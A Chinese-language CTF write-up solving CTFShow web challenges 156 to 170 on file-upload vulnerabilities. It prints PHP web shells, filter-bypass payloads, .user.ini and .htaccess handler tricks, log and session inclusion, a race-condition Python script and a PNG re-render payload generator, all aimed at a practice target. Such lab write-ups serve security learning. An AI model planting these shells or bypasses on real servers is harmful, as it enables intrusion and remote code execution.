CTFShow Web 入门：文件上传漏洞实战

<?= @eval(array_pop($_POST))?>

Web157（[, {, ; 过滤）

在 Web156 基础上过滤了大括号和分号。同上题马：

<?= @eval(array_pop($_POST))?>

Web158

同 Web157。

Web159（括号和分号均被过滤）

使用反引号执行系统命令：

<?= `cat ../flag.???`?>

flag 在注释里。

Web160（日志包含）

反引号和 include 可用，依旧上传 .user.ini 后上传 shell.png。

构造包含日志的 payload（用拼接绕过过滤）：

<?=include"/var/lo"."g/nginx/access.l"."og"?>

发现日志的 UA 头部分当作 PHP 执行，输入命令执行拿到 flag：

<?= `cat ../flag`?>

Web161（GIF89 绕过）

文件检测头内容判断是否为图片，在上传文件开头加 GIF89a 即可。

Web162（条件竞争/session 包含）

条件竞争： 上传速度大于删除速度时，文件处于待校验状态，趁机访问。

1. Session 包含： 利用 PHP_SESSION_UPLOAD_PROGRESS 将恶意代码写入 session 文件。

<!DOCTYPE html>
<html>
<body>
<form action="http://challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>" />
    <input type="file" name="111" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包将 session id 设置为 'shell'，此时 /tmp/sess_shell 中已有马。

2. 上传 .user.ini：

auto_prepend_file=/tmp/sess_shell

3. 利用条件竞争疯狂上传 sess_shell 文件，再不断 GET 访问 /upload。

Python 脚本示例：

import requests
import threading
import re

session = requests.session()
sess = 'shell'
url1 = "http://challenge.ctf.show/"
url2 = "http://challenge.ctf.show/upload"
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'}
file = {'file': '111'}
cookies = {'PHPSESSID': sess}

def upload_file():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)

def check_flag():
    while True:
        response = session.get(url2)
        if 'flag' in response.text:
            flag = re.search(r'ctfshow{.+}', response.text)
            if flag:
                print(flag.group())

threads = [
    threading.Thread(target=upload_file),
    threading.Thread(target=check_flag)
]
for t in threads:
    t.start()

Web163

与 Web162 相同。

Web164（png 二次渲染）

PNG 结构包含 IHDR、IDAT、IEND 块。通过脚本将恶意代码插入 IDAT 块，经过浏览器二次渲染后保留。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

上传后参数为 $*GET[0]($*POST[1])。

Web165（jpg 二次渲染）

JPG 文件由多个段组成（SOI, APPn, DQT, SOS, EOI）。修改 APPn 段嵌入恶意数据，二次渲染时触发漏洞。

使用脚本注入 payload：

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
// ... (详细脚本逻辑略)
?>

用法：先上传原图获取处理后的图片，本地运行脚本加工后再上传。

Web166（zip 注入）

随便搞个压缩包再把恶意代码插入进去即可。

Web167（.htaccess）

上传 .htaccess，功能是把指定文件作为 php 执行。

<FilesMatch "shell.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

或者：

AddType application/x-httpd-php .jpg

注意 Content-Type 需为 image/jpeg。

Web168

木马里用反引号执行命令即可。

Web169&170（.user.ini 的条件利用）

< 被 ban，无法写马。从靶机内部文件入手，利用日志包含。

直接在 .user.ini 中包含日志：

auto_prepend_file=/var/log/nginx/access.log

然后在 UA 头写马就能拿 flag。